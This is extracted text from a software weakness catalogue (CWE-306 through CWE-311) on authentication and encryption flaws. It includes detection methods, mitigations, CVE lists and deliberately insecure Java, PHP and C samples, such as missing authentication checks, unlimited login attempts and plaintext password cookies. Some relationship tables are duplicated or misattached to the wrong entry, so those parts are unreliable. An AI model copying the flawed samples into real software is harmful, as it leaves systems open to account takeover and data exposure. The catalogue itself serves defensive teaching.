This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis
Limited
Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host Application Interface Scanner
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer
**Architecture / Design Review**

**SOAR High**

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction

- Cost effective for partial coverage:
  - Attack Modeling

**Demonstrative Examples**

In the following Java example the method `createBankAccount` is used to create a `BankAccount` object for a bank management application.

**Java Example:**

```java
public BankAccount createBankAccount(String accountNumber, String accountType,
 String accountName, String accountSSN, double balance) {
    BankAccount account = new BankAccount();
    account.setAccountNumber(accountNumber);
    account.setAccountType(accountType);
    account.setAccountOwnerName(accountName);
    account.setAccountOwnerSSN(accountSSN);
    account.setBalance(balance);
    return account;
}
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the `createBankAccount` will not create the bank account object.

**Java Example:**

```java
private boolean isUserAuthentic = false;
// authenticate user,
// if user is authenticated then set variable to true
// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
    ...
}
public BankAccount createNewBankAccount(String accountNumber, String accountType,
 String accountName, String accountSSN, double balance) {
    BankAccount account = null;
    if (isUserAuthentic) {
        account = new BankAccount();
        account.setAccountNumber(accountNumber);
        account.setAccountType(accountType);
        account.setAccountOwnerName(accountName);
        account.setAccountOwnerSSN(accountSSN);
        account.setBalance(balance);
    }
    return account;
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1810</td>
<td>MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.</td>
</tr>
<tr>
<td>CVE-2004-0213</td>
<td>Product enforces restrictions through a GUI but not through privileged APIs.</td>
</tr>
<tr>
<td>CVE-2008-6827</td>
<td>Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter™ attack.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design
Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design
Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks.
In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [R.306.3].

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>803</td>
<td>2010 Top 25 - Porous Defenses</td>
<td>1232</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>810</td>
<td>OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management</td>
<td>1250</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>1313</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>952</td>
<td>SFP Secondary Cluster: Missing Authentication</td>
<td>1377</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

Relationship Notes
This is separate from "bypass" issues in which authentication exists, but is faulty.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>No Authentication for Critical Function</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP31</td>
<td>Missing authentication</td>
</tr>
</tbody>
</table>

Related Attack Patterns
CWE-307: Improper Restriction of Excessive Authentication Attempts

Description

Summary

The software does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks.

Time of Introduction

- Architecture and Design

Applicable Platforms

- Language-independent

Common Consequences

Access Control

Bypass protection mechanism

An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.

Detection Methods

Dynamic Analysis with automated results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

Cost effective for partial coverage:

- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Dynamic Analysis with manual results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Fuzz Tester
  - Framework-based Fuzzer

Cost effective for partial coverage:

- Forced Path Execution

References


Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  - Cost effective for partial coverage:
    - Source code Weakness Analyzer
    - Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  - Cost effective for partial coverage:
    - Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  - Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter’s support team and was able to successfully guess the member’s password using a brute force attack by guessing a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

References

Example 2:
The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

Java Example:
```java
String username = request.getParameter("username");
String password = request.getParameter("password");
int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

Example 3:
This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

PHP Example:
```php
$userName = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);
```
However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

Example 4:
In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

C/C++ Example:
```c
int validateUser(char *host, int port)
{
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    int isValidUser = 0;
    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
    while (isValidUser == 0) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    } else {
        return(FAIL);
    }
}
```

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

C/C++ Example:
```c
int validateUser(char *host, int port)
{
    ...
    int count = 0;
    while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    } else {
        return(FAIL);
    }
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1152</td>
<td>Product does not disconnect or timeout after multiple failed logins.</td>
</tr>
<tr>
<td>CVE-1999-1324</td>
<td>User accounts not disabled when they exceed a threshold; possibly a resultant problem.</td>
</tr>
<tr>
<td>CVE-2001-0395</td>
<td>Product does not disconnect or timeout after multiple failed logins.</td>
</tr>
<tr>
<td>CVE-2001-1291</td>
<td>Product does not disconnect or timeout after multiple failed logins.</td>
</tr>
<tr>
<td>CVE-2001-1339</td>
<td>Product does not disconnect or timeout after multiple failed logins.</td>
</tr>
<tr>
<td>CVE-2002-0628</td>
<td>Product does not disconnect or timeout after multiple failed logins.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Common protection mechanisms include:
- Disconnecting the user after a small number of failed attempts
- Implementing a timeout
- Locking out a targeted account
- Requiring a computational task on the user's part.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [R.307.1]

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td></td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>799</td>
<td>Improper Control of Interaction Frequency</td>
<td></td>
<td>1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td></td>
<td>1229</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>812</td>
<td>OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management</td>
<td></td>
<td>1250</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td></td>
<td>1313</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>955</td>
<td>SFP Secondary Cluster: Unrestricted Authentication</td>
<td></td>
<td>1378</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>AUTHENT.MULTFAIL</td>
<td>Multiple Failed Authentication Attempts not Prevented</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP</td>
<td>34</td>
</tr>
</tbody>
</table>

References


CWE-308: Use of Single-factor Authentication

Weakness ID: 308 (Weakness Base)  Status: Draft

Description

Summary
The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

Extended Description
While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Common Consequences
**Access Control**

**Bypass protection mechanism**

If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.

**Likelihood of Exploit**

High

**Demonstrative Examples**

In both of these examples, a user is logged in if their given password matches a stored password:

**C Example:**

```c
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

**Java Example:**

```java
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

**Potential Mitigations**

**Architecture and Design**

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699 508</td>
</tr>
<tr>
<td>PeerOf</td>
<td>☢</td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
<td>1000 546</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
<td>1000 1014</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888 1376</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☢</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Using single-factor authentication</td>
</tr>
</tbody>
</table>

**CWE-309: Use of Password System for Primary Authentication**

**Weakness ID:** 309 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

**Time of Introduction**

- Architecture and Design
CWE Version 2.11
CWE-309: Use of Password System for Primary Authentication

Applicable Platforms

Languages
• All

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

A password authentication mechanism error will almost always result in attackers being authorized as valid users.

Likelihood of Exploit

Very High

Demonstrative Examples

In both of these examples, a user is logged in if their given password matches a stored password:

C Example:

```c
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Java Example:

```java
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
    //Login if hash matches stored hash
    if (equal(digest,secret_password())) {
        login_user();
    }
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

Potential Mitigations

Architecture and Design

In order to protect password systems from compromise, the following should be noted:

Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.

Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.

Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

Architecture and Design

Ensure that passwords are stored safely and are not reversible.
Architecture and Design
Implement password aging functionality that requires passwords be changed after a certain point.

Architecture and Design
Use a mechanism for determining the strength of a password and notify the user of weak password use.

Architecture and Design
Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

Background Details
Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>262</td>
<td>Not Using Password Aging</td>
<td>1000</td>
</tr>
</tbody>
</table>

Background Details
Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>320</td>
<td>Key Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>328</td>
<td>Reversible One-Way Hash</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
<td>699</td>
</tr>
</tbody>
</table>

Background Details
Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>320</td>
<td>Key Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>328</td>
<td>Reversible One-Way Hash</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-311: Missing Encryption of Sensitive Data

Weakness ID: 311 (Weakness Base)  Status: Draft

Description

Summary
The software does not encrypt sensitive or critical information before storage or transmission.

Extended Description
The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

Time of Introduction
• Architecture and Design
• Operation

Applicable Platforms

Languages
• Language-independent

Common Consequences
Confidentiality
Read application data
If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.
Confidentiality
Integrity
Modify application data
Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.

Likelihood of Exploit
High to Very High

Detection Methods
Manual Analysis
High
The characterization of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Automated Analysis
Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Network Sniffer
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Automated Monitored Execution
Man-in-the-middle attack tool

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Context-configured Source Code Weakness Analyzer

Architectural / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Attack Modeling

Demonstrative Examples

Example 1:
This code writes a user's login information to a cookie so the user does not have to login again later.

**PHP Example:**  
function persistLogin($username, $password){  
    $data = array("username" => $username, "password" => $password);  
    setcookie ("userdata", $data);  
}  

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie. Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 2:
The following code attempts to establish a connection, read in a password, then store it to a buffer.

**C Example:**
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy((char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(sockfd,password_buffer,n);
    ...
}

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 3:
The following code attempts to establish a connection to a site to communicate sensitive information.

**Java Example:**
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.disconnect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1852</td>
<td>Product transmits Blowfish encryption key in cleartext.</td>
</tr>
<tr>
<td>CVE-2005-3140</td>
<td>Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.</td>
</tr>
<tr>
<td>CVE-2007-4786</td>
<td>Product sends passwords in cleartext to a log server.</td>
</tr>
<tr>
<td>CVE-2007-4961</td>
<td>Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).</td>
</tr>
<tr>
<td>CVE-2007-5626</td>
<td>Backup routine sends password in cleartext in email.</td>
</tr>
<tr>
<td>CVE-2007-5778</td>
<td>login credentials stored unencrypted in a registry key</td>
</tr>
<tr>
<td>CVE-2008-0174</td>
<td>SCADA product uses HTTP Basic Authentication, which is not encrypted</td>
</tr>
<tr>
<td>CVE-2008-0374</td>
<td>Printer sends configuration information, including administrative password, in cleartext.</td>
</tr>
<tr>
<td>CVE-2008-1567</td>
<td>storage of a secret key in cleartext in a temporary file</td>
</tr>
<tr>
<td>CVE-2008-3289</td>
<td>Product sends password hash in cleartext in violation of intended policy.</td>
</tr>
<tr>
<td>CVE-2008-4122</td>
<td>Chain: Use of HTTPS cookie without &quot;secure&quot; flag causes it to be transmitted across unencrypted HTTP.</td>
</tr>
<tr>
<td>CVE-2008-4390</td>
<td>Remote management feature sends sensitive information including passwords in cleartext.</td>
</tr>
<tr>
<td>CVE-2008-6157</td>
<td>storage of unencrypted passwords in a database</td>
</tr>
<tr>
<td>CVE-2008-6828</td>
<td>product stores a password in cleartext in memory</td>
</tr>
<tr>
<td>CVE-2009-0152</td>
<td>chat program disables SSL in some circumstances even when the user says to use SSL.</td>
</tr>
<tr>
<td>CVE-2009-0964</td>
<td>storage of unencrypted passwords in a database</td>
</tr>
<tr>
<td>CVE-2009-1466</td>
<td>password stored in cleartext in a file with insecure permissions</td>
</tr>
<tr>
<td>CVE-2009-1603</td>
<td>Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption</td>
</tr>
<tr>
<td>CVE-2009-2272</td>
<td>password and username stored in cleartext in a cookie</td>
</tr>
<tr>
<td>CVE-2009-2729</td>
<td>Remote management feature sends sensitive information including passwords in cleartext.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

**Architecture and Design**

**Threat Modeling**

Using threat modeling or other techniques, assume that the data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [R.311.1]

**Architecture and Design**

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

- Encryption that is needed to store or transmit private data of the users of the system
- Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

- One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the software) does not need to have access to a private key.
